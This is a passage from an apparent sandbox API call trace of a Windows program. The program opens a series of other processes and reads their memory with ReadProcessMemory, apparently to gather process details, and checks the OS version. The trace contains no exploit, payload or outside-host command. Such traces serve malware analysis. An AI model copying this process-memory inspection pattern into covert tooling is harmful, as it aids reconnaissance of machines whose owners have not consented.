lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.600] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.600] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1b70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.601] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1818, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.602] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.603] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.603] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.603] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.603] malloc (_Size=0x42) returned 0x20abc27cf80 [0261.603] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cf80, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0261.604] free (_Block=0x20abc27cf80) [0261.605] CloseHandle (hObject=0x16c) returned 1 [0261.605] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0261.609] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1336") returned 4 [0261.609] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.609] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.624] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x16c [0261.624] GetLastError () returned 0x0 [0261.625] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.678] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.680] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.681] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.681] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.681] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.681] malloc (_Size=0x18) returned 0x20abc281f80 [0261.681] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281f80, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281f80*, lpNumberOfBytesRead=0x0) returned 1 [0261.681] free (_Block=0x20abc281f80) [0261.682] CloseHandle (hObject=0x16c) returned 1 [0261.683] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0261.686] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1540") returned 4 [0261.687] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.687] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x16c [0261.701] GetLastError () returned 0x0 [0261.702] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.702] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.703] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.703] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.703] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.704] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.706] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.706] malloc (_Size=0x64) returned 0x20abc280290 [0261.706] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc280290, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0261.707] free (_Block=0x20abc280290) [0261.707] CloseHandle (hObject=0x16c) returned 1 [0261.708] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0261.711] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1604") returned 4 [0261.712] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.713] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.742] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x16c [0261.743] GetLastError () returned 0x0 [0261.744] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.744] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.745] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.747] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.747] malloc (_Size=0x5a) returned 0x20abc280450 [0261.747] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc280450, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280450*, lpNumberOfBytesRead=0x0) returned 1 [0261.748] free (_Block=0x20abc280450) [0261.749] CloseHandle (hObject=0x16c) returned 1 [0261.749] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0261.754] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1912") returned 4 [0261.755] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.755] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.769] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x16c [0261.769] GetLastError () returned 0x0 [0261.770] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.770] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.770] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.770] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511c50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.771] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118e8, lpBuffer=0x2dc22fc240, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.772] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.773] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3ba020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.773] malloc (_Size=0x32) returned 0x20abc280fd0 [0261.773] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511918, lpBuffer=0x20abc280fd0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280fd0*, lpNumberOfBytesRead=0x0) returned 1 [0261.774] free (_Block=0x20abc280fd0) [0261.775] CloseHandle (hObject=0x16c) returned 1 [0261.775] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0261.780] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2044") returned 4 [0261.781] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.781] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x16c [0261.813] GetLastError () returned 0x0 [0261.815] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.815] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc22fc240, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.817] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.818] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.818] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.818] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.819] malloc (_Size=0x6c) returned 0x20abc282120 [0261.819] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc282120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0261.819] free (_Block=0x20abc282120) [0261.820] CloseHandle (hObject=0x16c) returned 1 [0261.821] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0261.825] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2228") returned 4 [0261.825] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.825] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.839] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0x16c [0261.840] GetLastError () returned 0x0 [0261.841] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.841] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.864] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.864] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003780, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.865] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f490032e8, lpBuffer=0x2dc22fc240, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.867] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.869] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.869] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9a9d57f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.869] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49002c60, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.870] malloc (_Size=0x118) returned 0x20abc2ac1e0 [0261.870] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20f49003388, lpBuffer=0x20abc2ac1e0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac1e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.871] free (_Block=0x20abc2ac1e0) [0261.871] CloseHandle (hObject=0x16c) returned 1 [0261.872] _ui64tow_s (in: _Value=0x92c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2348") returned 0x0 [0261.876] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2348") returned 4 [0261.877] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0261.877] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0261.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0x16c [0261.890] GetLastError () returned 0x0 [0261.892] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0261.892] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0261.893] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0261.893] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f03730, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0261.894] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f032b4, lpBuffer=0x2dc22fc240, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0261.895] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0261.897] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0261.897] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xbecf55d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0261.897] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f02c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0261.898] malloc (_Size=0x11a) returned 0x20abc284e70 [0261.898] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1df67f0334a, lpBuffer=0x20abc284e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0261.899] free (_Block=0x20abc284e70) [0261.899] CloseHandle (hObject=0x16c) returned 1 [0261.900] _ui64tow_s (in: _Value=0x828, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2088") returned 0x0 [0261.904] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: 